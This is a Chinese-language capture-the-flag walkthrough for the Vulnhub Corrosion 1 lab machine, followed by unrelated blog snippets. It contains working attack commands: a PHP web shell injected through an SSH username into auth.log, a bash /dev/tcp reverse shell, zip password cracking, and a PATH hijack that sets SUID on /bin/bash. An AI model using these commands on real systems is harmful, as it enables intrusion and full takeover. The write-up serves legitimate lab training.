渗透环境

攻击机:   IP: 192.168.226.129(Kali)

靶机:     IP:192.168.226.128

靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

开放了22和80端口,访问80端口,可以正常访问。

二、 寻找WEB漏洞

对目录进行扫描,经过测试,使用dirsearch的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster的扫描速度更快,因此我们使用gobuster使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt进行扫描

gobuster dir -u http://192.168.226.128/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

-u :指定爆破网站

-w :指定字典

扫描结果如下

访问host/tasks

打开tasks_todo.txt,获得以下提示

访问host/blog-post,没有发现有用信息

host/blog-post目录再次进行扫描

gobuster dir -u http://192.168.226.128/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描结果如下

访问hosst/blog-post/archives/,发现randylogs.php,直接点击打开是空白的。

看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd,得到fuzz结果为file。

wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd'

-w :指定字典

-hl 0: 输出返回页面长度大于0的结果

除了使用wfuzz还可以使用fuff

ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

读取/etc/passwd内容,成功验证存在文件包含漏洞

三、 漏洞利用

根据前面tasks_todo.txt的提示,我们在/var/log/(日志文件一般都存在这儿)下发现了auth.log

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log

22端口是SSH服务的端口号,我们将一句话木马注入auth.log中。将一句话木马作为用户名连接靶机。这里我们使用system()而不使用eval(),这样可以通过终端返回的一些信息判断是否成功注入一句话木马。

ssh '<?php system($_GET['soap']);?>'@192.168.226.128

接下来我们对soap传参ifconfig或者其他命令,若成功返回信息,则可验证注入成功

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig

验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑等工具连接一句话木马,不过可以用相同思路反弹shell。

启动监听,端口为4444

nc -nlvp 4444

连接监听端口

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.129%2F4444%200%3E%261%27

soap的参数值是

bash -c 'bash -i >& /dev/tcp/192.168.226.129/4444 0>&1' 的URL编码

也可以用

echo "bash -i >& /dev/tcp/192.168.226.129/4444 0>&1" | bash 的URL编码

成功反弹shell

四、 提权

常规思路,先看一下有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

没有发现可利用的文件。但是在/var下发现backups

user_backup.zip传到kali看看能不能获得有用信息。

靶机启动python搭建简易服务器

python3 -m http.server 8000

kali下载文件

wget http://192.168.226.128:8000/user_backup.zip

在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt字典(kali自带,使用前先解压)

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

得到密码!randybaby

解压文件

unzip user_backup.zip

然后输入密码,即可解压。解压后发现文件my_password.txt,猜测是用户randy的ssh连接密码,登陆成功。

接下来我们就可以查看当前用户能以管理员身份运行的命令

sudo -l

发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat,并将其加入系统的环境变量,通过重写的cat实现提权

echo 'chmod +s /bin/bash' > cat     //在当前文件夹下写一个cat文件
chmod 777 cat //更改权限
export PATH=/home/randy/tools:$PATH //将当前路径加入环境变量
./easysysinfo //执行easysysinfo,会调用我们重写的cat
/bin/bash -p //root身份运行bash

chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash

发现flag在/root下,由于我们已经重写cat,因此我们用more来读取

渗透结束

【渗透测试】Vulnhub Corrosion 1的更多相关文章

  1. [经验分享] OSCP 渗透测试认证

    http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...

  2. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  3. Kali Linux Web 渗透测试秘籍 中文版

    第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...

  4. 渗透测试工具BurpSuite做网站的安全测试(基础版)

    渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...

  5. 渗透测试-信息收集-c段收集

    平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...

  6. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  7. ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题

    最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...

  8. 渗透测试工具Nmap从初级到高级使用教程

    本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...

  9. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  10. Kali Linux渗透测试实战 1.2 环境安装及初始化

    1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...

随机推荐

  1. git 忽略某些文件

    如果git项目里没有  '.gitignore' 文件,则需要执行下面的操作,生成一个 生成 '.gitignore' 文件 1. git bash  打开git窗口 执行:touch .gitign ...

  2. Intellij IDEA开发环境中Springboot项目无Run ****main()的菜单

    问题描述: Intellij  IDEA开发环境中Springboot项目无Run ****main()的菜单. 解决办法有以下几种: 方法1:Idea无右键run选项, 无法通过main方法启动sp ...

  3. 在Win7 x64环境中将World Wind Java SDK 2.1.0嵌入到Eclipse中的方法

    1.解压worldwind-2.1.0.zip. 2.打开Eclipse,依次点击New–>Java project ,输入project的名称WorldWind,一路直到finish.然后就可 ...

  4. 基于开源IM即时通讯框架MobileIMSDK:RainbowChat-iOS端v6.2版已发布

    关于MobileIMSDK MobileIMSDK 是一套专门为移动端开发的开源IM即时通讯框架,超轻量级.高度提炼,一套API优雅支持UDP .TCP .WebSocket 三种协议,支持iOS.A ...

  5. WPF页面中将一个控件的宽度绑定到其父级用户控件的实际宽度

    该实际场景比较常见于,当存在多个用户控件页面拼成一个窗体,因为实际控件对应窗体的宽度并不能确定,也不是那种能指定的宽度或者高度,比如窗体分导航区域和内容区域,左侧导航区域可以直接指定宽度,而右侧内容区 ...

  6. 项目PMP之三项目经理

    一.项目经理定义:由执行组织委派,领导实现目标 二.影响范围: 项目本身:相关方沟通.完善各职能结构:通过人际关系和沟通技能及积极态度充当沟通者,以平衡项目相关方并达成共识 组织:组织结构中进行积极沟 ...

  7. w3cschool-Storm 入门教程

    Storm 基础知识 基础知识 Storm 是一个分布式的,可靠的,容错的数据流处理系统.它会把工作任务委托给不同类型的组件,每个组件负责处理一项简单特定的任务.Storm 集群的输入流由一个被称作 ...

  8. MySQL---锁、变量、存储过程、游标、自定义函数

    一概述 数据库锁定机制简单来说,就是数据库为了保证数据的一致性,而使各种共享资源在被并发访问变得有序所设计的一种规则.对于任何一种数据库来说都需要有相应的锁定机制. MySQL各存储引擎使用了三种类型 ...

  9. C#/.NET/.NET Core技术前沿周刊 | 第 21 期(2025年1.6-1.12)

    前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录.追踪C#/.NET/.NET Core领域.生态的每周最新.最实用.最有价值的技术文章.社区动态.优质项目和学习资源等. ...

  10. java中数组和字符串

    数组 数组的声明方式: 类型[] 变量; 数组的创建方式: new 类型[数组长度] 数组的简单声明并且赋值 // 声明一个数组,它的长度是3 String[] arrs= new String[3] ...